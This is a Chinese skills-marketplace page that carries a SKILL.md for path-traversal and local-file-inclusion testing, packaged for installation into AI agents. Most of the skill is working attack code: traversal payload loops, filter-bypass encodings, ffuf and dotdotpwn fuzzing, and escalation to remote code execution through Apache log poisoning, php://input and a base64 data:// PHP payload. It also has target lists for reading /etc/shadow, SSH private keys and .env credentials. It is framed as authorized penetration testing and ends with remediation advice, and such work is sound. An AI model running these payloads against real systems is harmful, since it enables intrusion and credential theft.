用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-directory-traversal-testing命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | performing-directory-traversal-testing |
| description | 通过操控文件路径参数,测试 Web 应用程序中允许读取或写入服务器任意文件的路径遍历漏洞。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","directory-traversal","path-traversal","lfi","owasp","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
apt install dotdotpwn)查找通过参数引用文件的应用程序端点。
# 需要查找的常见文件处理模式:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default
# 在 Burp Suite 中,搜索代理历史中与文件相关的参数
# 按参数名过滤:file、path、page、template、include、
# module、src、doc、document、folder、dir、name、filename
# 使用已知有效文件测试以建立基准
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"
# 尝试引用不应被访问的文件
curl -s "https://target.example.com/download?file=../../../etc/passwd"
尝试逃逸预期目录并读取敏感文件。
# Linux 遍历载荷
PAYLOADS=(
"../../../etc/passwd"
"../../../../etc/passwd"
"../../../../../etc/passwd"
"../../../../../../etc/passwd"
"../../../../../../../etc/passwd"
"..%2f..%2f..%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"%2e%2e/%2e%2e/%2e%2e/etc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for payload in "${PAYLOADS[@]}"; do
echo -n "测试:$payload -> "
response=$(curl -s "https://target.example.com/download?file=$payload")
if echo "$response" | grep -q "root:"; then
echo "易受攻击"
else
echo "已拦截"
fi
done
# Windows 遍历载荷
WIN_PAYLOADS=(
"..\..\..\windows\win.ini"
"..%5c..%5c..%5cwindows%5cwin.ini"
"..\/..\/..\/windows/win.ini"
"....\\....\\....\\windows\\win.ini"
)
for payload in "${WIN_PAYLOADS[@]}"; do
echo -n "测试:$payload -> "
curl -s "https://target.example.com/download?file=$payload" | -c 100
使用各种编码方案绕过输入验证过滤器。
# URL 编码绕过
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# 双重 URL 编码
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# UTF-8 编码
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
# 空字节注入(PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"
# 路径截断(Windows)
# 超过 MAX_PATH(260 字符)以绕过扩展名检查
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"
# 大小写操控(Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"
# 点点斜杠变体
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"
# 使用绝对路径(如果过滤器仅阻止相对遍历)
curl -s "https://target.example.com/download?file=/etc/passwd"
使用自动化工具进行全面的遍历测试。
# 使用遍历载荷列表的 ffuf
ffuf -u "https://target.example.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs 0 \
-t 20 -rate 50 \
-o traversal-results.json -of json
# 用于系统化遍历测试的 dotdotpwn
dotdotpwn -m http-url \
-u "https://target.example.com/download?file=TRAVERSAL" \
-k "root:" \
-o /tmp/dotdotpwn-results.txt \
-d 8 -t 200
# Burp Intruder 方法:
# 1. 将请求发送到 Intruder
# 2. 将文件参数值标记为插入点
# 3. 从 SecLists 加载 LFI 载荷列表
# 4. 添加 Grep Match 规则:"root:"、"[extensions]"、"for 16-bit"
# 5. 开始攻击并查看匹配结果
如果 LFI 已确认,尝试升级到远程代码执行(RCE)。
# PHP LFI 通过日志污染实现 RCE
# 步骤 1:向访问日志注入 PHP 代码
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
"https://target.example.com/"
# 步骤 2:通过 LFI 包含日志文件
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# PHP 包装器用于文件读取(base64 编码避免解析)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# PHP 包装器用于代码执行
curl -s -X POST \
-d "<?php system('id'); ?>" \
"https://target.example.com/page?file=php://input"
# PHP data 包装器
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
# 包含 /proc/self/environ(如果可读)
curl -s -A "<?php phpinfo(); ?>" \
"https://target.example.com/page?file=../../../proc/self/environ"
# 会话文件包含
# 通过另一个参数将 PHP 代码写入会话
# 然后包含:/tmp/sess_<PHPSESSID>
针对敏感配置和凭据文件。
# Linux 高价值文件
HIGH_VALUE_LINUX=(
"/etc/passwd"
"/etc/shadow"
"/etc/hosts"
"/etc/hostname"
"/proc/self/environ"
"/proc/self/cmdline"
"/var/www/html/.env"
"/var/www/html/config.php"
"/var/www/html/wp-config.php"
"/home/user/.ssh/id_rsa"
"/home/user/.bash_history"
"/root/.bash_history"
"/var/log/auth.log"
)
for file in "${HIGH_VALUE_LINUX[@]}"; do
traversal="../../../../../../..$file"
echo -n "$file: "
response=$(curl -s "https://target.example.com/download?file=$traversal")
if [ ${#response} -gt 10 ]; then
echo "可读(${#response} 字节)"
else
echo "无法访问"
fi
done
# Windows 高价值文件
HIGH_VALUE_WIN=(
"C:\\Windows\\win.ini"
"C:\\Windows\\System32\\drivers\\etc\\hosts"
"C:\\inetpub\\wwwroot\\web.config"
"C:\\Users\\Administrator\\.ssh\\id_rsa"
"C:\\xampp\\apache\\conf\\httpd.conf"
"C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)
| 概念 | 定义 |
|---|---|
| 目录遍历(Directory Traversal) | 使用 ../ 序列导航到父目录,访问预期路径之外的文件 |
| 本地文件包含(LFI) | 服务器端包含本地文件,可能导致代码执行 |
| 远程文件包含(RFI) | 包含来自外部 URL 的文件(PHP 中需要 allow_url_include=On) |
| 空字节注入(Null Byte Injection) | 使用 %00 截断文件路径,绕过旧版 PHP 中的扩展名检查 |
| PHP 包装器(PHP Wrappers) | 用于读取和执行文件的协议,如 php://filter、php://input、data:// |
| 日志污染(Log Poisoning) | 将代码注入日志文件,然后通过 LFI 包含以实现代码执行 |
| 路径规范化(Path Canonicalization) | 将相对路径解析为绝对路径的过程,可能被利用 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 请求拦截和自动化载荷测试的 Intruder |
| ffuf | 使用 LFI/遍历字典进行快速模糊测试 |
| dotdotpwn | 带有多种遍历模式的专用目录遍历模糊测试器 |
| LFISuite | 使用多种技术的自动化 LFI 利用工具 |
| SecLists | 包含 LFI 载荷和遍历模式的综合字典 |
| Kadimus | LFI 扫描和利用工具 |
位于 /download?file=report.pdf 的文档下载端点未验证文件参数。将值替换为 ../../../etc/passwd 返回服务器密码文件。
PHP 应用程序通过 ?page=home 包含模板。通过在 User-Agent 头中注入 PHP 代码污染 Apache 访问日志,然后包含该日志文件,攻击者实现远程代码执行。
图片调整大小服务接受 ?src=images/photo.jpg。应用程序只剥离一次 ../,不递归处理,因此 ....//....//etc/passwd 绕过了过滤器。
.NET 应用程序通过 ?path=docs\manual.pdf 提供文件。遍历到 ..\..\web.config 暴露了包含数据库连接字符串的 IIS 配置文件。
## 目录遍历发现报告
**漏洞**:路径遍历 / 本地文件包含
**严重程度**:高(CVSS 8.6)
**位置**:GET /download?file=../../../etc/passwd
**OWASP 类别**:A01:2021 - 访问控制失效
### 复现步骤
1. 导航至 https://target.example.com/download?file=report.pdf
2. 替换文件参数:?file=../../../etc/passwd
3. 服务器返回 /etc/passwd 内容
### 已获取文件
| 文件 | 影响 |
|------|--------|
| /etc/passwd | 用户枚举(42 个账户) |
| /var/www/html/.env | 数据库凭据暴露 |
| /home/deploy/.ssh/id_rsa | 恢复 SSH 私钥 |
| /proc/self/environ | 包含 API 密钥的环境变量 |
### 需要过滤器绕过
原始 `../` 被过滤器剥离。成功的绕过:`....//....//....//etc/passwd`
### 修复建议
1. 使用允许的文件名白名单,而不是接受任意路径
2. 解析规范路径并验证其在预期目录内
3. 以最小文件系统权限运行 Web 服务器
4. 从 Web 可访问目录中删除敏感文件
5. 如非必要,禁用 PHP 包装器(allow_url_include、allow_url_fopen)